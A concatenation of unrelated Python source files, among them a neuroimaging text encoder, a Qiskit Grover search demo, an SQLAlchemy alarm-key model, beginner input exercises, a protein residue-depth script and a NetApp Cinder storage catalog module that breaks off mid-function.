self.vectorizer.tokenizer.keep_pos = True
result = self.transform([document])
result = {k: v[0] for k, v in result.items()}
similar_words = pd.DataFrame(
{
"similarity": self._similar_words(result["smoothed_tfidf"]),
"weight_in_query": self._similar_words(result["raw_tfidf"]),
"weight_in_brain_map": self._similar_words(
result["smoothed_tfidf"][self._supervised_features()]
* self._beta_norms(),
self.supervised_vocabulary(),
),
},
columns=["similarity", "weight_in_brain_map", "weight_in_query"],
)
similar_words.fillna(0.0, inplace=True)
similar_words.sort_values(
by="weight_in_brain_map", ascending=False, inplace=True
)
doc_freq = self.document_frequencies()
if doc_freq is not None:
similar_words["n_documents"] = doc_freq.loc[similar_words.index]
similar_words = similar_words.loc[
:,
[
"similarity",
"weight_in_brain_map",
"weight_in_query",
"n_documents",
],
]
result["similar_words"] = similar_words
result["similar_documents"] = self.similar_documents(
result["smoothed_tfidf"]
)
self._supervised_vocabulary_set()
result[
"highlighted_text"
] = self.vectorizer.tokenizer.highlighted_text(
lambda w: {
"in_model": (
"true" if w in self.supervised_vocabulary_set_ else "false"
)
}
)
return result
class SimpleEncoder:
"""Basic text to brain map encoder"""
@classmethod
def from_data_dir(cls, model_dir):
model_dir = pathlib.Path(model_dir)
vectorizer = tokenization.TextVectorizer.from_vocabulary_file(
str(model_dir / "vocabulary.csv"),
voc_mapping="auto",
add_unigrams=False,
)
regression = ridge.FittedLinearModel.from_data_dir(model_dir)
mask_img = image.load_img(str(model_dir / "mask_img.nii.gz"))
return cls(vectorizer, regression, mask_img)
def to_data_dir(self, model_dir):
"""Save the model so it can later be loaded with `from_data_dir`."""
model_dir = pathlib.Path(model_dir)
model_dir.mkdir(parents=True, exist_ok=True)
self.vectorizer.to_vocabulary_file(str(model_dir / "vocabulary.csv"))
self.regression.to_data_dir(model_dir)
self.get_masker().mask_img_.to_filename(
str(model_dir / "mask_img.nii.gz")
)
def __init__(self, vectorizer, regression, mask_img):
self.vectorizer = vectorizer
self.regression = regression
self.mask_img = mask_img
def get_masker(self):
if not hasattr(self, "masker_"):
self.masker_ = get_masker(self.mask_img)
return self.masker_
def __call__(self, document):
self.vectorizer.tokenizer.keep_pos = True
self.regression.intercept_ = 0.0
result = {}
tfidf = self.vectorizer.transform([document])
masked_map = self.regression.predict(tfidf).squeeze()
result["brain_map"] = self.get_masker().inverse_transform(masked_map)
result[
"highlighted_text"
] = self.vectorizer.tokenizer.highlighted_text()
return result
def full_vocabulary(self):
"""All the terms recognized by the model."""
return self.vectorizer.get_vocabulary()
| python |
def dutch(arr):
low = 0
mid = 0
high = len(arr) - 1
while mid <= high:
if arr[mid] == 0:
arr[low], arr[mid] = arr[mid], arr[low]
low += 1
mid += 1
elif arr[mid] == 1:
mid += 1
else:
arr[mid], arr[high] = arr[high], arr[mid]
high -= 1
arr = [1,0,2,1,0,2,1,2,1,2,1,1,0,2,1,0,1,2,1,2,1,1,2,1,0,2,1,1]
print(arr)
dutch(arr)
print(arr)
| python |
# find an specific element of a list
import numpy as np
import matplotlib.pyplot as plt
from qiskit import QuantumCircuit, transpile
from qiskit.providers.aer import QasmSimulator
from qiskit.visualization import plot_histogram
# Use Aer's qasm_simulator
simulator = QasmSimulator()
# Create a oracle operator
oracle = QuantumCircuit(2, name='oracle')
oracle.cz(0,1) #flips sign of winning state, (specific to |11> being the winning state)
oracle.to_gate() #makes oracle its own gate
# create reflection operator
reflection = QuantumCircuit(2, name='reflection')
# take our superposition state back to \ell-0 state
reflection.h([0,1])
# apply negative phase only to 00 state
reflection.z([0,1])
reflection.cz(0,1)
# transform back to superpos state
reflection.h([0,1])
reflection.to_gate() #turns refelction into a gate
# create circuit that flips winning answer: |11>
grover_circ = QuantumCircuit(2,2)
# apply H gate to all qubits
grover_circ.h([0,1]) #prepares superposition state
grover_circ.append(oracle,[0,1]) # add on oracle
grover_circ.append(reflection,[0,1]) # add on reflection
grover_circ.measure([0,1],[0,1]) # measure
# compile the circuit down to low-level QASM instructions
# supported by the backend (not needed for simple circuits)
compiled_circuit = transpile(grover_circ, simulator)
# Execute the circuit on the qasm simulator
job = simulator.run(compiled_circuit, shots=1)
# Grab results from the job
result = job.result()
# Returns counts
counts = result.get_counts(grover_circ)
print(counts)
# Draw the circuit (with matplotlib)
grover_circ.draw(output='mpl')
plt.show()
# Plot a histogram
#plot_histogram(counts)
#plt.show() | python |
import re
regex = r"\*\*(?P<bold>\S+)\*\*|\*(?P<italic>\S+)\*|==(?P<wrap>\S+)==|\[(?P<url>\S+\]\(\S+)\)"
p = re.compile(regex, re.MULTILINE)
func_dict = {
'wrap': lambda x: (f"<mark>{x}</mark>", f"=={x}=="),
'bold': lambda x: (f"<b>{x}</b>", f"**{x}**"),
'italic': lambda x: (f"<i>{x}</i>", f"*{x}*"),
'url': lambda x: ("<a href='{1}' target='_blank'>{0}</a>".format(*x.split('](')), f"[{x})"),
}
def format_string(test_str: str) -> str:
matches = list(p.finditer(test_str))
for match in matches:
for key, item in match.groupdict().items():
if item:
x, y = func_dict[key](item)
return format_string(test_str.replace(y, x))
return test_str
def form_str(string: str) -> str:
"""
Форматирование строки по markdown
- Строка с тегами разделенными пробелами
- Теги можно комбинировать
- italic
- bold
- marker wrap
- a tag
"""
return format_string(string.replace(' ', '|')).replace('|', ' ')
| python |
import numpy as np
import math
import rospy
from tf.transformations import quaternion_from_euler, euler_from_quaternion
from geometry_msgs.msg import Quaternion
from geometry_msgs.msg import Point, PoseArray
from visualization_msgs.msg import Marker
from visualization_msgs.msg import MarkerArray
from ackermann_msgs.msg import AckermannDriveStamped
from angles import *
num_waypoints = 5
waypoint_tol = 0.1
retrace_waypoint_tol = 0.15
wheelbase = 1.9
ODOM_INF = "/ground_truth/state" | python |
from sqlalchemy.orm.collections import attribute_mapped_collection
from emonitor.extensions import db
from emonitor.modules.alarmkeys.alarmkeycar import AlarmkeyCars
from emonitor.modules.alarmkeys.alarmkeyset import AlarmkeySet
class Alarmkey(db.Model):
"""Alarmkey class"""
__tablename__ = 'alarmkeys'
__table_args__ = {'extend_existing': True}
id = db.Column(db.Integer, primary_key=True)
category = db.Column(db.String(40), default='')
key = db.Column(db.String(40), default='')
key_internal = db.Column(db.String(40), default='')
_keyset = db.Column('keyset', db.ForeignKey('alarmkeysets.id'))
keyset = db.relationship("AlarmkeySet", collection_class=attribute_mapped_collection('id'))
keysetitem = db.Column(db.INTEGER, default=0)
remark = db.Column(db.Text)
def __init__(self, category, key, key_internal, remark, keyset=None, keysetitem=None):
self.category = category
self.key = key
self.key_internal = key_internal
self.remark = remark
self._keyset = keyset
self.keysetitem = keysetitem
def _getCars(self, cartype, department):
"""
Prototype method for car or material lists
:param cartype: 1|2|3: cars1, cars2, material as integer
:param department: id of department as integer
:return: list of cars, material
"""
alarmcars = AlarmkeyCars.getAlarmkeyCars(kid=self.id or 9999, dept=department)
if not alarmcars:
# try default
alarmcars = AlarmkeyCars.getAlarmkeyCars(kid=9999, dept=department)
if alarmcars:
if cartype == 1:
return alarmcars.cars1
elif cartype == 2:
return alarmcars.cars2
elif cartype == 3:
return alarmcars.materials
else:
return []
def setCars(self, department, **kwargs):
"""
Set carlist of department
:param department: id of department as integer
:param kwargs:
- *cars1*: list of :py:class:`emonitor.modules.cars.car.Car` objects for cars1
- *cars2*: list of :py:class:`emonitor.modules.cars.car.Car` objects for cars2
- *material*: list of :py:class:`emonitor.modules.cars.car.Car` objects for material
"""
alarmcars = AlarmkeyCars.getAlarmkeyCars(kid=self.id, dept=department)
if not alarmcars:
alarmcars = AlarmkeyCars(self.id, department, '', '', '')
db.session.add(alarmcars)
if "cars1" in kwargs.keys():
alarmcars._cars1 = kwargs['cars1']
if "cars2" in kwargs.keys():
alarmcars._cars2 = kwargs['cars2']
if "material" in kwargs.keys():
alarmcars._material = kwargs['material']
def getCars1(self, department):
"""
Get list of Car objects for cars1 of current alarmkey definition of given department
:param department: id of department as integer
:return: list of :py:class:`emonitor.modules.cars.car.Car` objects
"""
return self._getCars(1, department)
def getCars2(self, department):
"""
Get list of Car objects for cars2 of current alarmkey definition of given department
:param department: id of department as integer
:return: list of :py:class:`emonitor.modules.cars.car.Car` objects
"""
return self._getCars(2, department)
def getMaterial(self, department):
"""
Get list of Car objects for material of current alarmkey definition of given department
:param department: id of department as integer
:return: list of :py:class:`emonitor.modules.cars.car.Car` objects
"""
return self._getCars(3, department)
def hasDefinition(self, department):
"""
Get definition for current alarmkey of given department
:param department: id of department
:return: :py:class:`emonitor.modules.alarmkeys.alarmkey.Alarmkey` or *None*
"""
return AlarmkeyCars.getAlarmkeyCars(kid=self.id or 9999, dept=department) is None
@staticmethod
def getAlarmkeys(id='', keysetid=None):
"""
Get all alarmkey definitions or single definition with given 'id'
:param id: id of alarmkey
:param keysetid: id of :py:class:`emonitor.modules.alarmkeys.AlarmkeySet` oder *None*
:return: list of defintions or single definition
"""
if id not in ['', 'None']:
return Alarmkey.query.filter_by(id=id).first()
elif keysetid:
if int(keysetid) == 0: # deliver all un-matched items
return Alarmkey.query.filter_by(_keyset=None).order_by('category').all()
return Alarmkey.query.filter_by(_keyset=keysetid).order_by('category').all()
else:
keyset = AlarmkeySet.getCurrentKeySet()
if keyset is None:
return Alarmkey.query.order_by('category').all()
else:
return Alarmkey.query.filter_by(_keyset=keyset.id).order_by('category').all()
@staticmethod
def getOrphanKeys():
"""
Get list of all orphan alarmkeys
:return: list of orphan alarmkeys
"""
return Alarmkey.query.filter_by(keyset=None).all()
@staticmethod
def getAlarmkeysByName(name):
"""
Get Alarmkey object with given name
:param name: name as string (like)
:return: :py:class:`emonitor.modules.alarmkeys.alarmkey.Alarmkey` object
"""
return Alarmkey.query.filter(Alarmkey.key.like('%' + name + '%')).all()
@staticmethod
def getAlarmkeysByCategory(category):
"""
Get all alarmkey definitions of given category
:param category: category as string
:return: :py:class:`emonitor.modules.alarmkeys.alarmkey.Alarmkey` object list
"""
return Alarmkey.query.filter_by(category=category).all()
@staticmethod
def getAlarmkeysByCategoryId(categoryid, keysetid=None):
"""
Get all alarmkey definitions of given category id
:param categoryid: category as string
:param keysetid: keysetid as integer, 0 for un-matched, None for all
:return: :py:class:`emonitor.modules.alarmkeys.alarmkey.Alarmkey` object list
"""
key = Alarmkey.query.filter_by(id=categoryid).one()
if keysetid is None:
return Alarmkey.query.filter_by(category=key.category).all()
elif int(keysetid) == 0:
return Alarmkey.query.filter_by(category=key.category, _keyset=None).all()
else:
return Alarmkey.query.filter(Alarmkey.category == key.category and Alarmkey._keyset == keysetid).all()
@staticmethod
def getAlarmkeysDict():
"""
Get dict of all alarmkeys with alarmkey.id as dict key
:return: dict of alarmkeys
"""
return dict(db.get(Alarmkey.id, Alarmkey).order_by(Alarmkey.key).all())
@staticmethod
def getDefault(department):
"""
Get default alarmkey definition of given department
:param department: id as integer
:return: :py:class:`emonitor.modules.alarmkeys.alarmkey.Alarmkey` object
"""
return AlarmkeyCars.query.filter_by(kid=9999, dept=department).first() or AlarmkeyCars(9999, department, '', '', '')
| python |
n1 = float(input('Nota 1: '))
n2 = float(input('Nota 2: '))
m = (n1 + n2) / 2
if m < 5:
print('REPROVADO :(')
elif m < 7:
print('RECUPERAÇÃO...')
else:
print('APROVADO!! :D')
| python |
'''
prompt = "If you tell us who you are, we can personalize the messages you see"
prompt += "\nWhat is your first name: "
name = input(prompt)
print("\nHello, " + name + "!\n")
age = int(input("how old are you? "))
print(age, end="\n\n")
height = float(input("How tall are you, in meters? "))
if height >= 1.50:
print("\nYou're tall enough to ride!\n")
else:
print("\nYou're be able to ride when you're a little older.\n")
number = int(input("Enter a number, and I'll tell you if it's even or odd: "))
if number % 2 == 0:
print(f"\nThe number {number} is even.\n")
else:
print(f"\nthe number {number} is odd.\n")
'''
family = int(input('How many people are in your family group? '))
if family > 8:
print("\nYou must wait a moment.")
else:
print("\nYour table is set.") | python |
'''
Get the residue depth for each residue in BioLiP
run as:
python -m ResidueDepth.Controller
'''
from Bio.PDB import PDBParser
from Bio.PDB import Selection
from Bio.PDB.ResidueDepth import get_surface, residue_depth, ca_depth
from Bio.PDB.Polypeptide import is_aa
import os
from AABindingSiteDist.Controller import BSParser
from PDBtools import GetFilewithPDB, CopyAndGunzip, GetStructure
from multiprocessing import Pool
import threading
DEBUG = False
PDBTOXYZ = "./ResidueDepth/msms/pdb_to_xyzr"
MSMS = "./ResidueDepth/msms/msms.x86_64Linux2.2.6.1"
OUTCA = "aveResCaDep.txt"
OUTALL = "aveResAllDep.txt"
OUT = "avedist2surface.txt"
BIOLIP_DIR = "./Data/bindingsite2.txt"
if DEBUG:
OUTCA = OUTCA + "_tmp"
OUTALL = OUTALL + "_tmp"
OUT = OUT + "_tmp"
# working directory
WDIR = "./ResidueDepth/tmp"
# thread safe for writing file
mutex_writefile = threading.Lock()
def GetResidueDepPDB(pdb, pdbfile):
s = GetStructure(pdb)
model = s[0]
residuelist = Selection.unfold_entities(model, 'R')
try:
surface = get_surface(pdbfile, PDBTOXYZ, MSMS)
except:
print "cannot get surface for " + pdbfile
return
content = ""
for residue in residuelist:
if not is_aa(residue):
continue
# minimun average depth for all atoms
resid = residue.get_id()
resname = residue.get_resname()
chainid = residue.get_parent().get_id()
try:
rd = residue_depth(residue, surface)
except:
continue
ca_rd = ca_depth(residue, surface)
info = [pdb, chainid, resid[1], resname, str(rd), str(ca_rd)]
for each in info:
if not each:
continue
#print info
newline = "\t".join(map(str, info)) + "\n"
content = content + newline
mutex_writefile.acquire()
outobj = open(OUT, "a")
outobj.write(content)
outobj.close()
mutex_writefile.release()
def RemoveExistingPDB(pdblist):
existpdbs = []
newpdblist = []
for line in open(OUT):
content = line.split()
pdb = content[0]
if not pdb in existpdbs:
existpdbs.append(pdb)
print len(existpdbs)
for eachpdb in pdblist:
if not eachpdb in existpdbs:
newpdblist.append(eachpdb)
print len(newpdblist)
return newpdblist
def RunOnePDB(pdb):
outdir = os.path.join(WDIR, pdb)
pdbfile = GetFilewithPDB(pdb)
CopyAndGunzip(pdbfile, outdir)
GetResidueDepPDB(pdb, outdir)
def RunAllBioLiPPDB():
bslist = BSParser(BIOLIP_DIR)
pdblist = []
#try:
# os.remove(OUT)
#except:
# pass
for bs in bslist:
pdb = bs.pdbid
if not pdb in pdblist:
pdblist.append(pdb)
print "Number of PDBs before remove existing PDBs:", len(pdblist)
pdblist = RemoveExistingPDB(pdblist)
print "Number of PDBs after remove existing PDBs:", len(pdblist)
print "one example:", pdblist[0]
#for pdb in pdblist:
# print pdb
pool = Pool(processes = 5)
result = pool.map_async( RunOnePDB, pdblist)
resulttxt = result.wait()
print resulttxt
if __name__ == "__main__":
pdbfile = "./tmp/pdb110m.ent"
#GetResidueDepPDB("110m", pdbfile)
#RemoveExistingPDB("")
RunAllBioLiPPDB()
| python |
# Copyright (c) 2012 NetApp, Inc. All rights reserved.
# Copyright (c) 2014 Ben Swartzlander. All rights reserved.
# Copyright (c) 2014 Navneet Singh. All rights reserved.
# Copyright (c) 2014 Clinton Knight. All rights reserved.
# Copyright (c) 2015 Tom Barron. All rights reserved.
# Copyright (c) 2015 Alex Meade. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
Storage service catalog utility functions and classes for NetApp systems.
"""
import copy
import threading
from oslo_log import log as logging
from oslo_utils import timeutils
import six
from cinder import exception
from cinder.i18n import _, _LI, _LW
from cinder import utils
from cinder.volume.drivers.netapp.dataontap.client import api as netapp_api
from cinder.volume.drivers.netapp import utils as na_utils
LOG = logging.getLogger(__name__)
class NetAppVolume(object):
"""Represents a NetApp volume.
Present attributes
id - name, vserver, junction_path, type
aggr - name, raid_type, ha_policy, disk_type
sis - dedup, compression
state - status, vserver_root, cluster_volume,
inconsistent, invalid, junction_active
qos - qos_policy_group
space - space-guarantee-enabled, space-guarantee,
thin_provisioned, size_avl_bytes, size_total_bytes
mirror - mirrored i.e. dp mirror
export - path
"""
def __init__(self, name, vserver=None):
self.id = {}
self.aggr = {}
self.sis = {}
self.state = {}
self.qos = {}
self.space = {}
self.mirror = {}
self.export = {}
self.id['name'] = name
self.id['vserver'] = vserver
def __eq__(self, other):
"""Checks for equality."""
if (self.id['name'] == other.id['name'] and
self.id['vserver'] == other.id['vserver']):
return True
def __hash__(self):
"""Computes hash for the object."""
return hash(self.id['name'])
def __cmp__(self, other):
"""Implements comparison logic for volumes."""
self_size_avl = self.space.get('size_avl_bytes')
other_size_avl = other.space.get('size_avl_bytes')
if self_size_avl is None and other_size_avl is not None:
return -1
elif self_size_avl is not None and other_size_avl is None:
return 1
elif self_size_avl is None and other_size_avl is None:
return 0
elif int(self_size_avl) < int(other_size_avl):
return -1
elif int(self_size_avl) > int(other_size_avl):
return 1
else:
return 0
def __str__(self):
"""Returns human readable form for object."""
vol_str = "NetApp Volume id: %s, aggr: %s,"\
" space: %s, sis: %s, state: %s, qos: %s"\
% (self.id, self.aggr, self.space, self.sis, self.state, self.qos)
return vol_str
@utils.trace_method
def get_cluster_vols_with_ssc(na_server, vserver, volume=None):
"""Gets ssc vols for cluster vserver."""
volumes = query_cluster_vols_for_ssc(na_server, vserver, volume)
sis_vols = get_sis_vol_dict(na_server, vserver, volume)
mirrored_vols = get_snapmirror_vol_dict(na_server, vserver, volume)
aggrs = {}
for vol in volumes:
aggr_name = vol.aggr['name']
if aggr_name:
if aggr_name in aggrs:
aggr_attrs = aggrs[aggr_name]
else:
aggr_attrs = query_aggr_options(na_server, aggr_name)
if aggr_attrs:
eff_disk_type = query_aggr_storage_disk(na_server,
aggr_name)
aggr_attrs['disk_type'] = eff_disk_type
aggrs[aggr_name] = aggr_attrs
vol.aggr['raid_type'] = aggr_attrs.get('raid_type')
vol.aggr['ha_policy'] = aggr_attrs.get('ha_policy')
vol.aggr['disk_type'] = aggr_attrs.get('disk_type')
if sis_vols:
if vol.id['name'] in sis_vols:
vol.sis['dedup'] = sis_vols[vol.id['name']]['dedup']
vol.sis['compression'] =\
sis_vols[vol.id['name']]['compression']
else:
vol.sis['dedup'] = False
vol.sis['compression'] = False
if (vol.space['space-guarantee-enabled'] and
(vol.space['space-guarantee'] == 'file' or
vol.space['space-guarantee'] == 'volume')):
vol.space['thin_provisioned'] = False
else:
vol.space['thin_provisioned'] = True
if mirrored_vols:
vol.mirror['mirrored'] = False
if vol.id['name'] in mirrored_vols:
for mirr_attrs in mirrored_vols[vol.id['name']]:
if (mirr_attrs['rel_type'] == 'data_protection' and
mirr_attrs['mirr_state'] == 'snapmirrored'):
vol.mirror['mirrored'] = True
break
return volumes
@utils.trace_method
def query_cluster_vols_for_ssc(na_server, vserver, volume=None):
"""Queries cluster volumes for ssc."""
query = {'volume-attributes': None}
volume_id = {
'volume-id-attributes': {
'owning-vserver-name': vserver,
'type': 'rw',
'style': 'flex',
},
}
if volume:
volume_id['volume-id-attributes']['name'] = volume
query['volume-attributes'] = volume_id
des_attr = {'volume-attributes':
['volume-id-attributes',
'volume-space-attributes',
'volume-state-attributes',
'volume-qos-attributes']}
result = netapp_api.invoke_api(na_server, api_name='volume-get-iter',
api_family='cm', query=query,
des_result=des_attr,
additional_elems=None,
is_iter=True)
vols = set()
for res in result:
records = res.get_child_content('num-records')
if records > 0:
attr_list = res.get_child_by_name('attributes-list')
if attr_list:
vol_attrs = attr_list.get_children()
vols_found = create_vol_list(vol_attrs)
vols.update(vols_found)
return vols
@utils.trace_method
def create_vol_list(vol_attrs):
"""Creates vol list with features from attr list."""
vols = set()
for v in vol_attrs:
try:
# name and vserver are mandatory
# Absence will skip by giving KeyError.
name = v['volume-id-attributes']['name']
vserver = v['volume-id-attributes']['owning-vserver-name']
vol = NetAppVolume(name, vserver)
vol.id['type'] =\
v['volume-id-attributes'].get_child_content('type')
if vol.id['type'] == "tmp":
continue
vol.id['junction_path'] =\
v['volume-id-attributes'].get_child_content('junction-path')
# state attributes mandatory.
vol.state['vserver_root'] =\
na_utils.to_bool(
v['volume-state-attributes'].get_child_content(
'is-vserver-root'))
if vol.state['vserver_root']:
continue
vol.state['status'] =\
v['volume-state-attributes'].get_child_content('state')
vol.state['inconsistent'] =\
na_utils.to_bool(
v['volume-state-attributes'].get_child_content(
'is-inconsistent'))
vol.state['invalid'] =\
na_utils.to_bool(
v['volume-state-attributes'].get_child_content(
'is-invalid'))
vol.state['junction_active'] =\
na_utils.to_bool(
v['volume-state-attributes'].get_child_content(
'is-junction-active'))
vol.state['cluster_volume'] =\
na_utils.to_bool(
v['volume-state-attributes'].get_child_content(
'is-cluster-volume'))
if (vol.state['status'] != 'online' or
vol.state['inconsistent'] or vol.state['invalid']):
# offline, invalid and inconsistent volumes are not usable
continue
# aggr attributes mandatory.
vol.aggr['name'] =\
v['volume-id-attributes']['containing-aggregate-name']
# space attributes mandatory.
vol.space['size_avl_bytes'] =\
v['volume-space-attributes']['size-available']
vol.space['size_total_bytes'] =\
v['volume-space-attributes']['size-total']
vol.space['space-guarantee-enabled'] =\
na_utils.to_bool(
v['volume-space-attributes'].get_child_content(
'is-space-guarantee-enabled'))
vol.space['space-guarantee'] =\
v['volume-space-attributes'].get_child_content(
'space-guarantee')
# qos attributes optional.
if v.get_child_by_name('volume-qos-attributes'):
vol.qos['qos_policy_group'] =\
v['volume-qos-attributes'].get_child_content(
'policy-group-name')
else:
vol.qos['qos_policy_group'] = None
vols.add(vol)
except KeyError as e:
LOG.debug('Unexpected error while creating'
' ssc vol list. Message - %s', e)
continue
return vols
@utils.trace_method
def query_aggr_options(na_server, aggr_name):
"""Queries cluster aggr for attributes.
Currently queries for raid and ha-policy.
"""
add_elems = {'aggregate': aggr_name}
attrs = {}
try:
result = netapp_api.invoke_api(na_server,
api_name='aggr-options-list-info',
api_family='cm', query=None,
des_result=None,
additional_elems=add_elems,
is_iter=False)
for res in result:
options = res.get_child_by_name('options')
if options:
op_list = options.get_children()
for op in op_list:
if op.get_child_content('name') == 'ha_policy':
attrs['ha_policy'] = op.get_child_content('value')
if op.get_child_content('name') == 'raidtype':
attrs['raid_type'] = op.get_child_content('value')
except Exception as e:
LOG.debug("Exception querying aggr options. %s", e)
return attrs
@utils.trace_method
def get_sis_vol_dict(na_server, vserver, volume=None):
"""Queries sis for volumes.
If volume is present sis is queried for it.
Records dedup and compression enabled.
"""
sis_vols = {}
query_attr = {'vserver': vserver}
if volume:
vol_path = '/vol/%s' % (volume)
query_attr['path'] = vol_path
query = {'sis-status-info': query_attr}
try:
result = netapp_api.invoke_api(na_server,
api_name='sis-get-iter',
api_family='cm',
query=query,
is_iter=True)
for res in result:
attr_list = res.get_child_by_name('attributes-list')
if attr_list:
sis_status = attr_list.get_children()
for sis in sis_status:
path = sis.get_child_content('path')
if not path:
continue
(___, __, vol) = path.rpartition('/')
if not vol:
continue
v_sis = {}
v_sis['compression'] = na_utils.to_bool(
sis.get_child_content('is-compression-enabled'))
v_sis['dedup'] = na_utils.to_bool(
sis.get_child_content('state'))
sis_vols[vol] = v_sis
except Exception as e:
LOG.debug("Exception querying sis information. %s", e)
return sis_vols
@utils.trace_method
def get_snapmirror_vol_dict(na_server, vserver, volume=None):
"""Queries snapmirror volumes."""
mirrored_vols = {}
query_attr = {'source-vserver': vserver}
if volume:
query_attr['source-volume'] = volume
query = {'snapmirror-info': query_attr}
try:
result = netapp_api.invoke_api(na_server,
api_name='snapmirror-get-iter',
api_family='cm', query=query,
is_iter=True)
for res in result:
attr_list = res.get_child_by_name('attributes-list')
if attr_list:
snap_info = attr_list.get_children()
for snap in snap_info:
src_volume = snap.get_child_content('source-volume')
v_snap = {}
v_snap['dest_loc'] =\
snap.get_child_content('destination-location')
v_snap['rel_type'] =\
snap.get_child_content('relationship-type')
v_snap['mirr_state'] =\
snap.get_child_content('mirror-state')
if mirrored_vols.get(src_volume):
mirrored_vols.get(src_volume).append(v_snap)
else:
mirrored_vols[src_volume] = [v_snap]
except Exception as e:
LOG.debug("Exception querying mirror information. %s", e)
return mirrored_vols
@utils.trace_method
def query_aggr_storage_disk(na_server, aggr):
"""Queries for storage disks associated to an aggregate."""
query = {'storage-disk-info': {'disk-raid-info':
{'disk-aggregate-info':
{'aggregate-name': aggr}}}}
des_attr = {'storage-disk-info':
{'disk-raid-info': ['effective-disk-type']}}
try:
result = netapp_api.invoke_api(na_server,
api_name='storage-disk-get-iter',
api_family='cm', query=query,
des_result=des_attr,
additional_elems=None,
is_iter=True)
for res in result:
attr_list = res.get_child_by_name('attributes-list')
if attr_list:
storage_disks = attr_list.get_children()
for disk in storage_disks:
raid_info = disk.get_child_by_name('disk-raid-info')
if raid_info:
eff_disk_type =\
raid_info.get_child_content('effective-disk-type')
if eff_disk_type:
return eff_disk_type
else:
continue
except Exception as e:
LOG.debug("Exception querying storage disk. %s", e)
return 'unknown'
@utils.trace_method
def get_cluster_ssc(na_server, vserver):
"""Provides cluster volumes with ssc."""
netapp_volumes = get_cluster_vols_with_ssc(na_server, vserver)
mirror_vols = set()
dedup_vols = set()
compress_vols = set()
thin_prov_vols = set()
ssc_map = {'mirrored': mirror_vols, 'dedup': dedup_vols,
'compression': compress_vols,
'thin': thin_prov_vols, 'all': netapp_volumes}
for vol in netapp_volumes:
if vol.sis.get('dedup'):
dedup_vols.add(vol)
if vol.sis.get('compression'):
compress_vols.add(vol)
if vol.mirror.get('mirrored'):
mirror_vols.add(vol)
if vol.space.get('thin_provisioned'):
thin_prov_vols.add(vol)
return ssc_map
@utils.trace_method
def refresh_cluster_stale_ssc(*args, **kwargs):
"""Refreshes stale ssc volumes with latest."""
backend = args[0]
na_server = args[1]
vserver = args[2]
identity = six.text_type(id(backend))
lock_pr = '%s_%s' % ('refresh_ssc', identity)
try:
job_set = na_utils.set_safe_attr(
backend, 'refresh_stale_running', True)
if not job_set:
return
@utils.synchronized(lock_pr)
def refresh_stale_ssc():
stale_vols = backend._update_stale_vols(reset=True)
LOG.info(_LI('Running stale ssc refresh job for %(server)s'
' and vserver %(vs)s'),
{'server': na_server, 'vs': vserver})
# refreshing single volumes can create inconsistency
# hence doing manipulations on copy
ssc_vols_copy = copy.deepcopy(backend.ssc_vols)
refresh_vols = set()
expired_vols = set()
for vol in stale_vols:
name = vol.id['name']
res = get_cluster_vols_with_ssc(na_server, vserver, name)
if res:
refresh_vols.add(res.pop())
else:
expired_vols.add(vol)
for vol in refresh_vols:
for k in ssc_vols_copy:
vol_set = ssc_vols_copy[k]
vol_set.discard(vol)
if k == "mirrored" and vol.mirror.get('mirrored'):
vol_set.add(vol)
if k == "dedup" and vol.sis.get('dedup'):
vol_set.add(vol)
if k == "compression" and vol.sis.get('compression'):
vol_set.add(vol)
if k == "thin" and vol.space.get('thin_provisioned'):
vol_set.add(vol)
if k == "all":
vol_set.add(vol)
for vol in expired_vols:
for k in ssc_vols_copy:
vol_set = ssc_vols_copy[k]
vol_set.discard(vol)
backend.refresh_ssc_vols(ssc_vols_copy)
LOG.info(_LI('Successfully completed stale refresh job for'
' %(server)s and vserver %(vs)s'),
{'server': na_server, 'vs': vserver})
refresh_stale_ssc()
finally:
na_utils.set_safe_attr(backend, 'refresh_stale_running', False)
@utils.trace_method
def get_cluster_latest_ssc(*args, **kwargs):
"""Updates volumes including ssc."""
backend = args[0]
na_server = args[1]
vserver = args[2]
identity = six.text_type(id(backend))
lock_pr = '%s_%s' % ('refresh_ssc', identity)
# As this depends on stale job running state
# set flag as soon as job starts to avoid
# job accumulation.
try:
job_set = na_utils.set_safe_attr(backend, 'ssc_job_running', True)
if not job_set:
return
@utils.synchronized(lock_pr)
def get_latest_ssc():
LOG.info(_LI('Running cluster latest ssc job for %(server)s'
' and vserver %(vs)s'),
{'server': na_server, 'vs': vserver})
ssc_vols = get_cluster_ssc(na_server, vserver)
backend.refresh_ssc_vols(ssc_vols)
backend.ssc_run_time = timeutils.utcnow()
LOG.info(_LI('Successfully completed ssc job for %(server)s'
' and vserver %(vs)s'),
{'server': na_server, 'vs': vserver})
get_latest_ssc()
finally:
na_utils.set_safe_attr(backend, 'ssc_job_running', False)
@utils.trace_method
def refresh_cluster_ssc(backend, na_server, vserver, synchronous=False):
"""Refresh cluster ssc for backend."""
if not isinstance(na_server, netapp_api.NaServer):
raise exception.InvalidInput(reason=_("Backend server not NaServer."))
delta_secs = getattr(backend, 'ssc_run_delta_secs', 1800)
if getattr(backend, 'ssc_job_running', None):
LOG.warning(_LW('ssc job in progress. Returning... '))
return
elif (getattr(backend, 'ssc_run_time', None) is None or
(backend.ssc_run_time and
timeutils.is_older_than(backend.ssc_run_time, delta_secs))):
if synchronous:
get_cluster_latest_ssc(backend, na_server, vserver)
else:
t = threading.Timer(0, get_cluster_latest_ssc,
args=[backend, na_server, vserver])
t.start()
elif getattr(backend, 'refresh_stale_running', None):
LOG.warning(_LW('refresh stale ssc job in progress. Returning... '))
return
else:
if backend.stale_vols:
if synchronous:
refresh_cluster_stale_ssc(backend, na_server, vserver)
else:
t = threading.Timer(0, refresh_cluster_stale_ssc,
args=[backend, na_server, vserver])
t.start()
@utils.trace_method
def get_volumes_for_specs(ssc_vols, specs):
"""Shortlists volumes for extra specs provided."""
if specs is None or specs == {} or not isinstance(specs, dict):
return ssc_vols['all']
result = copy.deepcopy(ssc_vols['all'])
raid_type = specs.get('netapp:raid_type')
disk_type = specs.get('netapp:disk_type')
bool_specs_list = ['netapp_mirrored', 'netapp_unmirrored',
'netapp_dedup', 'netapp_nodedup',
'netapp_compression', 'netapp_nocompression',
'netapp_thin_provisioned', 'netapp_thick_provisioned']
